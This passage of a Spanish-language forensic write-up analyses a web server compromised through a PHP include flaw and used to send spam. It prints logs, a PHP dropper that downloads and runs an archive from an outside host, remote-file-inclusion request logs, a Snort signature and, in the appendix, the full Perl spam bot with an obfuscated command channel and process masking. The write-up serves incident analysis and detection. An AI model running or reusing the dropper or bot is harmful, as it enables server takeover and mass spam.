`speedlog`:

```
Threads report on 17:22:08:
Max.Time:      100 sec
Reading block: NO
Sending block: NO
Struct[0] done
Struct[1] done
Report[0] not done
Report[1] not done
Doing: Starting Testers 1
Reporter Doing: Waiting for new report
UpTime:       00:03:22
Reports(w/s): 1224(1224)/1224
Speed:        6.06 rps
Blocks done:  0
Done in block: 23.48%
Good(reports): 15.44%
Testers status: 100 of 100 working
Testers status: 0 of 100 dead
Testers status: 0 of 100 free
Testers status: 0 of 100 healed
Testers status: 0 of 100 is bad
Testers status: 0 of 100 unknown
Testers status: 68 starts 68 ends 68 reports sent
Intellectual sleep: 16 usec
```

Este fichero representa estadísticas completas y detalladas de todos los hilos. Hay que tener en cuenta que en este contexto, `report` significa correo enviado, no el informe visto anteriormente. Comprobemos el fichero `logfile` para ver su contenido (sólo una pequeña parte):

```
25.08.03 17:18:46 M Half-Daemon with pid 27182 insted of 280
25.08.03 17:18:46 D Mask!
25.08.03 17:18:46 D Trying to find new mask
25.08.03 17:18:46 D Mask: found ./httpd -c httpd.conf
25.08.03 17:18:47 D We found 0 ./httpd -c httpd.conf
25.08.03 17:18:47 M name: ./httpd -c httpd.conf
25.08.03 17:18:47 M Setting priority 20
25.08.03 17:18:47 D Mask DONE!
25.08.03 17:18:47 D Connecting to HOST 217.29.90.249:25
25.08.03 17:18:47 D Mask!
25.08.03 17:18:47 D Mask DONE!
25.08.03 17:18:47 M Sender starts
```

```
25.08.03 17:18:47 M Initializing testers
25.08.03 17:18:47 D Mask!
25.08.03 17:18:47 D Mask DONE!
25.08.03 17:18:47 M Reader starts
25.08.03 17:18:47 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:18:59 M server::connect: Connection to HOST 217.29.90.249:25 OK
25.08.03 17:18:59 D server::getbody: getting body
25.08.03 17:18:59 D server::getbody: command 'body' sent successfully
25.08.03 17:19:04 D server::getbody: starting getfromsock(body,max)
25.08.03 17:19:04 D server:getfromsock: start
25.08.03 17:19:04 D server::getfromsock: getting info from socket
25.08.03 17:19:04 D server::getfromsock: getting info from socket
25.08.03 17:19:04 D server::getfromsock: We got end string '250 Body OK
' from sock 9
25.08.03 17:19:04 D We got body: 'ID: 5
Received: from mail.com ([192.123.46.212])
    by localhost (8.11.9/8.11.9) with ESMTP id _ID_
    for <_TO_>; _DATE_
Message-ID: <_ID2_@alexoffers.com>
From: "AstaDesign" <offers22@alexoffers.com>
To: _TO_
Subject: Premium marketing materials design
Date: _DATE_
```

Good morning,

Do you need an ad that will attract magazine readers to visit your place? A direct mail that won?

We at Asta Design (<http://www.alexoffers.com/?rdr=9861>), can help you to achieve your marketing

Have a good day,

Martin Berman

Art Director, Asta Design

<http://www.alexoffers.com/?rdr=9861>

This message is delivered by alexoffers.com
To remove your address from further mailings go to
http://www.alexoffers.com/out.php?email=_TO_

```
,
25.08.03 17:19:05 D From: offers22@alexoffers.com, by localhost
25.08.03 17:19:05 D Reading from DB to struct 0
25.08.03 17:19:27 W There are 5676 names in block
25.08.03 17:19:27 M Time to get new block from Base 22 sec
25.08.03 17:19:27 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:19:27 D Starting testers from struct 0
25.08.03 17:19:27 D Starting tester with: 25346585|sales@svithunrussen.net|207.44.130.36
25.08.03 17:19:27 D * Starting tester[0] with: 25346585|sales@svithunrussen.net|207.44.130.36
25.08.03 17:19:27 D main::testmail: tester[0].mx_list='207.44.130.36'
25.08.03 17:19:27 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:19:27 D test::testit: Connecting to 207.44.130.36:25
25.08.03 17:19:27 D Starting tester with: 25343733|sales@svenschaefer.net|212.227.126.148 212.227
25.08.03 17:19:27 D * Starting tester[1] with: 25343733|sales@svenschaefer.net|212.227.126.148 2
25.08.03 17:19:27 D main::testmail: tester[1].mx_list='212.227.126.148 212.227.126.210'
25.08.03 17:19:27 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:19:27 D test::testit: Connecting to 212.227.126.148:25
```

```
25.08.03 17:19:27 D Starting tester with: 25346342|sales@svmservice.net|206.47.4.188
25.08.03 17:19:27 D * Starting tester[2] with: 25346342|sales@svmservice.net|206.47.4.188
25.08.03 17:19:27 D main::testmail: tester[2].mx_list='206.47.4.188'
25.08.03 17:19:27 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:19:27 D test::testit: Connecting to 206.47.4.188:25
(..) (more similar lines)
25.08.03 17:22:08 D Starting tester with: 16742510|sales@line-xindiana.com|216.26.136.100 64.253.106.14
25.08.03 17:22:08 D * Starting tester[31] with: 16742510|sales@line-xindiana.com|216.26.136.100
25.08.03 17:22:08 D main::testmail: tester[31].mx_list='216.26.136.100 64.253.106.14'
25.08.03 17:22:08 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:22:08 D test::testit: Connecting to 216.26.136.100:25
25.08.03 17:22:09 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:22:09 D test::testit: Connecting to 65.121.176.25:25
25.08.03 17:22:09 D Sending report
25.08.03 17:22:09 D Report: [16741512]: 11
25.08.03 17:22:09 D Report sent in 0 sec.
25.08.03 17:22:09 D Starting tester with: 16741958|sales@lindy-gerties.com|66.227.6.121
25.08.03 17:22:09 D * Starting tester[95] with: 16741958|sales@lindy-gerties.com|66.227.6.121
25.08.03 17:22:09 D main::testmail: tester[95].mx_list='66.227.6.121'
25.08.03 17:22:09 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:22:09 D test::testit: Connecting to 66.227.6.121:25
25.08.03 17:22:09 D test::testit: Coneected
25.08.03 17:22:09 D Sending report
25.08.03 17:22:09 D Report: [16741506]: 11
25.08.03 17:22:09 D Report sent in 0 sec.
25.08.03 17:22:09 M signal 15: Exiting!
25.08.03 17:22:09 M Press ^C to exit now...
25.08.03 17:22:09 M test::testit: Timeout connecting to host
25.08.03 17:22:09 D Sending report
25.08.03 17:22:09 D Report: [16742309]: 6
25.08.03 17:22:09 D Report sent in 0 sec.
25.08.03 17:22:09 D Starting tester with: 16741613|sales@lindseytech.com|204.251.10.82 204.251.10.82
25.08.03 17:22:09 D * Starting tester[26] with: 16741613|sales@lindseytech.com|204.251.10.82 204.251.10.82
25.08.03 17:22:09 M Stop signal! Thread 26 exiting!
```

En el log anterior, está claramente explicado cómo los diferentes hilos están continuamente mandando correos (reports). Esos mensajes de log están identificados con una 'M' si están originados por el padre de los hilos (el proceso principal) y por una 'D' si están originados por algún hilo. Imaginense 100 hilos mandando spam en una conexión de 128Kbis de subida. Esa era la razón de porqué mi ancho de banda estaba saturado.

1.3. Correlaciones

Buscando eventos similares explicados en Internet, sólo encontré uno, de Mayo de 2003, en el Journal of Purdy (<http://use.perl.org/~Purdy/journal/12402>). También tuvo un ataque similar de `gallery`, no exactamente el mismo que he explicado, pero también se aprovecha de la vulnerabilidad de cambiar remotamente una variable PHP que se usa para incluir otro script PHP. Esta otra vulnerabilidad es bien conocida, e incluso tiene el Bugtraq ID 5375 (<http://www.securityfocus.com/bid/5375>). Pero, esta vez el script usado una vez que la máquina fue comprometida (Mayo 2003) es totalmente diferente que el script usado recientemente:

```
";

passthru("which perl");
passthru("which dig");
```

```

echo "uname ";
passthru("uname -a");
echo "\nhostname ";
passthru("hostname");
echo "\n";

echo $HTTP_HOST.$REQUEST_URI;

passthru("kill -9 `cat /tmp/sess_9e4d0713ad1a561e77c93643bafef7a8`");
passthru("rm -rf /tmp/af56j");
passthru("mkdir /tmp/af56j");
passthru("fetch -o- http://4goofs.com/ad13/archive.tgz > /tmp/af56j/archive1.tgz");
passthru("lynx -dump -source http://4goofs.com/ad13/archive.tgz > /tmp/af56j/archive2.tgz");
passthru("wget http://4goofs.com/ad13/archive.tgz -P /tmp/af56j");
passthru("ls -la/tmp/af56j");
passthru("tar -zxvf /tmp/af56j/archive.tgz -C /tmp/af56j");
passthru("tar -zxvf /tmp/af56j/archive1.tgz -C /tmp/af56j");
passthru("tar -zxvf /tmp/af56j/archive2.tgz -C /tmp/af56j");
passthru("rm -rf /tmp/af56j/archive*");
passthru("chmod 700 /tmp/af56j/formail.pl");
passthru("/tmp/af56j/formail.pl");

passthru("rm -f /tmp/af56j/formail.pl");
passthru("ls -la /tmp/af56j");
?>

```

Es claramente una antigua versión del script, ahora usando un script en perl en vez de un binario compilado, pero el procedimiento es el mismo. También ahora me doy cuenta por qué en en la última versión todavía intenta borrar el directorio /tmp/af56j, es como una mezcla de borrar antiguos restos y reutilizar el script. Además, el script en perl formail.pl, está incluido en la sección de Apéndices al final de este artículo (gracias a Purdy que consiguió conseguir el script); comparado con el binario, es menos poderoso, y no tiene muchas características, pero la idea en general es la misma, incluso se puede ver los comandos para el servidor maestros descritos anteriormente, o las diferentes variables que usa al enviar el correo (ID, ID2, ...)

Hay otra persona que ha detectado estos ataques; se describe en un weblog llamado Yabbob DevBlog (<http://yabbob.arboc.net/devblog/index.php?p=84&c=1>), y allí, se puede comprobar que el atacante intenta aprovecharse de una vulnerabilidad similar, pero esta vez contra b2 (<http://cafelog.com/>), que es otra serie de scripts en PHP para crear weblogs. Detecta los siguientes accesos en su servidor:

```

216.93.171.130 - - [13/Jun/2003:02:03:52 -0400]
GET http://frcooper.com/devblog//b2-include/b2functions.php?
b2inc=http://www.4goofs.com/ HTTP/1.0 200 0 "-" "-"
216.93.171.130 - - [13/Jun/2003:03:32:13 -0400]
GET http://frcooper.com/devblog//b2-include/b2functions.php?
b2inc=http://www.4goofs.com/sftb/ HTTP/1.0 200 0 "-" "-"
216.93.171.130 - - [13/Jun/2003:01:59:28 -0400]
GET http://frcooper.com/devblog//b2-include/b2menutop.php?
b2inc=../ HTTP/1.0 200 1574 "-" "-"

```

El atacante no sólo intenta modificar una variable PHP remotamente, sino que también intenta encontrar fallos para saltarse directorios, lo que es claramente en mi opinión un intento manual.

Y finalmente, después de que este artículo fue escrito, encontré otro análisis similar a este ataque en un estudiante de GCIH, Rohan Amin (http://www.giac.org/practical/GCIH/Rohan_Amin_GCIH.pdf), pero también era un ataque anterior, y casi idéntico al script en perl anterior.

1.4. Conclusiones

Después de descubrir todo lo que he explicado, envíe un correo a todos los administradores de las direcciones ip afectadas, pero todavía no he recibido ninguna respuesta. Incluso el servidor maestro está todavía ejecutándose.

La persona que ha creado tanto el cliente como el servidor maestro (en mi opinión es la misma persona) es una persona inteligente, con un fuerte conocimiento de diversas tecnologías, porque hay demasiadas cosas en juego: programación de red y de hilos, modificación de un servidor de correo añadiendo nuevos comandos, la enmascaración, los informes, el auto-borrado del binario, la compresión UPX, ... también lee habitualmente las listas de correo que hablan de vulnerabilidades (bugtraq, full-disclosure, ...) y de alguna manera encuentra otras (no he sido capaz de encontrar mi vulnerabilidad descrita en Internet). Además, tiene una gran base de datos con los nombres de dominio corriendo en el servidor maestro, y el servidor de correo está conectado a esa base de datos. Intenté conectarme al servidor maestro como un cliente 'real', y tuve la siguiente respuesta:

```
220 localhost ESMTTP
iam daemon[1061629845]
554 Service unavailable (DB CONNECT)
```

Pero la parte más extraña es poder saber las conexiones entre todos estos países; es muy probable que alguno de las máquinas mencionadas haya sido comprometida, pero no está claro cuál de ellas. Para resumir, los spammers cada día son más inteligentes, se aprovechan de tecnologías útiles, realizan sus ataques y su envío masivo de correo de una forma distribuida, y la comunidad de Detección de Intrusos debería darse cuenta de que son una amenaza que está creciendo, y se necesita detectarlos y pararlos tan pronto como sea posible. La siguiente firma de Snort detectará la conexión de un cliente al servidor maestro, aunque puede ser fácilmente engañada cambiando el comportamiento del servidor maestro:

```
alert tcp $EXTERNAL_NET 113 -> $SMTP_SERVERS 25
(msg:"SPAM Client to Master Server connection"; flow:to_server,established;
content:"iam daemon["; classtype:misc-attack; sid:1000021;)
```

El paso final es intentar decompilar el binario para conocer exactamente qué es lo que hace, pero esa es otra historia.

Referencias

Michael Zalewski and William Stearns, *p0f*, URL: <http://lcamtuf.coredump.cx/p0f/> .

Gallery, *Gallery*, URL: <http://gallery.menalto.com> .

Geeklog, *Geeklog*, URL: <http://www.geeklog.net> .

UPX, *UPX*, URL: <http://upx.sourceforge.net> .

Brian Carrier, *TASK*, URL: <http://www.sleuthkit.org> .

Ethereal, *Ethereal*, URL: <http://www.ethereal.com> .

Grsec, *Grsec*, URL: <http://grsec.linux-kernel.at/> .

Purdy , *Hijack through PHP and Hack/Spam through Perl*, May, 23 2003, URL:
<http://use.perl.org/~Purdy/journal/12402> .

BugTraq, *Bugtraq ID 5375*, URL: <http://www.securityfocus.com/bid/5375> .

Yabbob, *script kiddiez*, June, 14 2003, URL: <http://yabbob.arboc.net/devblog/index.php?p=84&c=1> .

Rohan Amin, *GCIA practical*, URL: http://www.giac.org/practical/GCIH/Rohan_Amin_GCIH.pdf .

A. Appendix

```
#!/usr/bin/perl -w

$|=1;

use lib './lib';
use lib '/tmp/af56j/lib';
use Net::SMTP;
use Socket;
use ForkManager;

my $debug=0;

open(STDERR, "/dev/null") unless $debug==1;
open(STDOUT, "/dev/null") unless $debug==1;

my $chilids = 200;
# $chilids = 1 if $debug==1;
my $smtpTimeout=20;
# $smtpTimeout=15 if $debug==1;
my $managerHost="24.61.3.38";
    $managerHost="127.0.0.1" if $debug==1;
my $managerPort="443";

my $report;

my $body;
my @maillist;

my $startmask="suxest";

sub codestr
{
    my $str=shift;
    my $last="";
    $last="\n" if chomp($str);
    return codestr_($str).$last;
}

sub codestr_
{
    my $str=shift;
```

```

my @hhh=(0..9,'a'..'f');
my $mask=$startmask x (length($str)/length($startmask)+1);
my $rez="";
$str^=substr($mask,0,length($str));
while($str ne "")
{
    my $tmp=ord($str);
    $rez.=$hhh[int($tmp/16)].$hhh[$tmp%16];
    substr($str,0,1,"");
}
return $rez;
}

sub unhex
{
    my $str=shift;
    my $rez="";
    while($str ne "")
    {
        $rez.=chr(hex(substr($str,0,2)));
        substr($str,0,2,"");
    }
    return $rez;
}

sub decodestr
{
    my $str=shift;
    my $last="";
    $last="\n" if chomp($str);
    return unhex(codestr(unhex($str),$startmask)).$last;
}

sub sendEmail
{
    my (@mxs,@cmx);
    my $email=shift;

    $body=~/\s+by\s+(\S+)\s+/;
    my $daemonHelloField = $1;
    $body=~s/_ID_/PgCHp79o76239Y/;
    $body=~s/_ID2_/367535629127\.PgCHp79o76239Y/;
    $body=~s/_TO_/$email/g;
    my $date=`date`;
    $date=~s/\n//;
    $body=~s/_DATE_/$date/g;
    $body=~/^From:\s(.*)/m;
    my $from=$1;
    $from=~s/<//;
    $from=~s/>//;
    $from=~/\s(.*)/;
    $from=$1;
    ($name,$domain)=split("@",$email);

    my $sent=1;
    @mxs = `dig mx $domain`;
    foreach $pmx (@mxs)

```

```

{
  if($pmx =~ /MX[\t|\s]*\d*[\t|\s]*(.*)\.$/ )
  {
    push(@cmx,$1);
  }
}
if ($#cmx<=0)
{
  @mxs = `dig a $domain`;
  foreach $pmx (@mxs)
  {
    if ($pmx =~ /^$domain\.[\t|\s]*\w*[\t|\s]*IN[\t|\s]*A[\t|\s]*(.*)$/ )
    {
      push(@cmx,$1);
    }
  }
}

foreach $mx (@cmx)
{
  print "mx=$mx\n";
  $sent=2;
  my $smtp=Net::SMTP->new("$mx",Timeout=>$smtpTimeout,Hello=>$daemonHelloField,Debug=>$debug);
  if($smtp)
  {
    $sent=3;
    $smtp->mail($from);
    $smtp->to($email);
    $res=$smtp->code;
    $sent=0 if $res==250;
    print $body if $debug==1;
    if($res==250)
    {
      $smtp->data()          unless $debug==1;
      $smtp->datasend($body) unless $debug==1;
      $smtp->dataend()       unless $debug==1;
    }
    $smtp->quit();
    return $sent;
  }
}
return $sent;
}

sub getInfo
{
  return 0 unless socket(telnet, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  return 0 unless connect(telnet, sockaddr_in($managerPort,inet_aton($managerHost)));
  my $res;
  if(telnet)
  {
    telnet->autoflush();
    $res=<telnet>;
    $res=decodestr($res);
    if(defined $res and $res =~ /^220/)
    {
      print telnet codestr("iam daemon\n");
    }
  }
}

```

```
$res=<telnet>;
$res=decodestr($res);
if($res!~/^250/)
{
  close telnet;
  return 0;
}
if(defined $report)
{
  print telnet codestr("report\n");
  $res=<telnet>;
  $res=decodestr($res);
  if($res!~/^354/)
  {
    close telnet;
    return 0;
  }
  print telnet codestr($report);
  $res=<telnet>;
  $res=decodestr($res);
}
print telnet codestr("body\n");
$body="";
$res="";
while($res!~/^250/)
{
  $res=<telnet>;
  return 0 if ($res=~/^550/);
  $res=decodestr($res);
  $body.=$res unless $res=~/^250/;
}
if ($body=~/^DIE/)
{
  `rm -rf /tmp/af56j`;
  die;
}
print telnet codestr("maillist\n");
@maillist=();
$res="";
while($res!~/^250/)
{
  chomp($res=<telnet>);
  return 0 if ($res=~/^550/);
  $res=decodestr($res);
  return 1 if $res=~/^350/;
  push(@maillist,$res) unless $res=~/^250/;
}
if (telnet)
{
  print telnet codestr("quit\n");
  close(telnet);
  return 1;
}
else
{
  return 0;
}
```

```

}
print telnet codestr("quit\n");
close telnet;
}
return 0;
}

if ($debug==0) { fork && exit; }
`rm -f /tmp/formail.pl`;
`rm -f /tmp/af56j/formail.pl`;
$res=`which dig`;
exit(0) unless $res=~\/dig/;

while(1)
{
  $0="httpd";
  open(Q,">/tmp/sess_9e4d0713ad1a561e77c93643bafef7a8");
  print Q "$$\n";
  close(Q);
  my $gi=getInfo();
  if ($gi==1)
  {
    undef $report;
    my $pm=new Parallel::ForkManager($childs);

    $pm->run_on_finish(
      sub { my ($pid, $exit_code, $ident) = @_;
          chomp($exit_code);
          print "$ident = $exit_code\n" if $debug==1;
          $report.=" $ident $exit_code\n";
        }
    );
    $pm->run_on_start(
      sub { my ($pid,$ident)=@_;
#       print "*** $ident started, pid: $pid\n" if $debug==1;
      }
    );
    foreach $email (@maillist)
    {
      my ($a,$b) = split(" ", $email);
      $pm->start($a) and next;
      $0="httpd";
      $ok=sendEmail("$b")."\n";
      $pm->finish($ok);
    }
    print "Waiting for children\n" if $debug==1;
    $pm->wait_all_children;
    print "Children ok\n" if $debug==1;
    print "Next loop\n" if $debug==1;
  }
  if ($gi==2)
  {
    exit 0;
  }
  sleep(30) if $debug==0;
}

```